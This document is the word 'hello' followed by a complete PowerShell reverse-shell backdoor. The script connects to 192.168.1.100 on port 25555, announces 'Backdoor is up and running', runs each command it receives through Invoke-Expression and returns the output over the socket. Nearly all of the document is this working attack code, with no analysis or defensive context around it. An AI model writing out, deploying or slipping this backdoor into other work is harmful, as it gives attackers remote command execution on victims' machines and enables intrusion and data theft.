hello

$socket = $null;
$stream = $null;
$buffer = $null;
$writer = $null;
$data = $null;
$result = $null;
try {
    $socket = New-Object Net.Sockets.TcpClient("192.168.1.100", 25555);
    $stream = $socket.GetStream();
    $buffer = New-Object Byte[] 1024;
    $encoding = New-Object Text.AsciiEncoding;
    $writer = New-Object IO.StreamWriter($stream);
    $writer.AutoFlush = $true;
    Write-Host "Backdoor is up and running...";
    do {
        $writer.Write("PS>");
        do {
            $bytes = $stream.Read($buffer, 0, $buffer.Length);
            if ($bytes -gt 0) {
                $data = $data + $encoding.GetString($buffer, 0, $bytes);
            } else {
                $data = "exit";
            }
        } while ($stream.DataAvailable);
        if ($data.Length -gt 0 -and $data -ne "exit") {
            try {
                $result = Invoke-Expression $data | Out-String;
            } catch {
                $result = $_.Exception.InnerException.Message;
            }
            $writer.WriteLine($result);
            Clear-Variable -Name "data";
        }
    } while ($data -ne "exit");
} catch {
    Write-Host $_.Exception.InnerException.Message;
} finally {
    if ($socket -ne $null) {
        $socket.Close();
        $socket.Dispose();
    }
    if ($stream -ne $null) {
        $stream.Close();
        $stream.Dispose();
    }
    if ($buffer -ne $null) {
        $buffer.Clear();
    }
    if ($writer -ne $null) {
        $writer.Close();
        $writer.Dispose();
    }
    if ($data -ne $null) {
        Clear-Variable -Name "data";
    }
    if ($result -ne $null) {
        Clear-Variable -Name "result";
    }
}